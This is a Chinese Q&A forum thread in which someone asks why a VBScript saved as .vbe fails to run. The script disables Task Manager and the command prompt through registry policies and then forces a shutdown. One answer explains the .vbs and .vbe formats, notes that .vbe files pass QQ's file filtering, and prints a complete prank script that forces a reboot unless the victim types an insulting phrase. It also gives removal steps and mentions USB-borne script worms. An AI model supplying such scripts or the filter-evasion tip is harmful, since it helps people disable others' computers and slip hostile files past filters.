Question

我把下面的代码放到记事本里，改成VBE格式的运行出错，怎么回事.

set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.CommandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
这是什么语言！

Answer 1

vbe是vb的脚本代码

一、vbe与vb
　　VBE跟VBS差不多，都是VB脚本代码文件，但他们也有不同：
　　VBS是明文代码，就是说可以直接使用记事本编辑；
　　VBE则是编译后（加密）的VBS代码，使用记事本打开不能直接看到源代码。（有些例外）
　　加密工具有很多，其中常用的是 Microsoft Script Encoder（screnc.exe），此外还有许多。
　　VBE格式在QQ传文件中往往不会被拦截，而VBS格式却会被拦截，这应该是程序设计者的一个失误。
　　因此，所以很多人没有进行加密而直接改扩展名为“VBE”，依然能够运行，只是为了方便一下。
二、vb脚本程序会被用作恶搞
　　vb脚本程序因编写简单，体积小，方便灵活，多被人用于恶搞小程序、病毒等。（BASIC代码一直很简单，特别是脚本代码还有一个“wscript”脚本库）
　　如著名的并且风靡一时的“说‘我是猪’”：恶搞关机vbe文件。
　　对于这个恶搞程序，解决很简单。在任务管理器中找到进程“wscript.exe”（脚本宿主程序）并结束之，然后在运行中输入并运行“shutdown -a”即可解除定时关机。
　　恶搞程序用这样的方法一般可以解决。病毒则相对比较复杂。
　　在这里举一个例子：（源代码 Fixed By Me）
　　Set objWSHShell = wscript.CreateObject("wscript.shell") '定义并初始化Shell对象
　　objWSHShell.Run "shutdown.exe -r -t 60 -c ""说我是猪，不说“我是猪”就会关机，不信邪的你可以试下。"" ", 0, True
　　'此行代码作用是调用 shutdown 进行重启，60秒倒计时。
　　Dim uMaMe
　　Do While (strReturn <> "我是猪") '循环语句，直到变量 strReturn 等于 “我是猪” 时退出循环。
　　strReturn = InputBox("说我是猪,就可以不关机，快点，说 ""我是猪"" ", "好好考虑吧……", "你才是", 8000, 7000)
　　If strReturn = "你才是" Then
　　If uMaMe <> "yes" Then
　　uMaMe = "yes"
　　objWSHShell.popup "敢骂我，你再骂一次试看看！",1,"",4096
　　Else
　　objWSHShell.popup "好哇，天堂有路你不走，关机无门你偏来，关机吧~~~", 1,"",4096
　　objWSHShell.Run "shutdown.exe -r -t 0 ", 0, True '直接关机
　　End If
　　End If
　　Loop
　　'如果你说了“我是猪”，则退出循环，往下执行
　　objWSHShell.Run "shutdown.exe -a", 0, True '解除定时关机
　　objWSHShell.popup "早说不就行了嘛",1,"",4096
三、vb脚本程序会被作为病毒
　　有时杀软对于vb脚本文件会认为是病毒，这一般是脚本里有运行“shutdown -s xxx”之类的病毒性质的代码。不是所有的vb脚本文件都有毒。
　　vb脚本文件有时候会被作为U盘病毒进行传播，典型的例子是“u.vbe”，学校机房的等公共场合较常见，也有相关的蠕虫病毒，相关症状为双击无法打开硬盘。

Answer 2

这是VBscript语言，我不太了解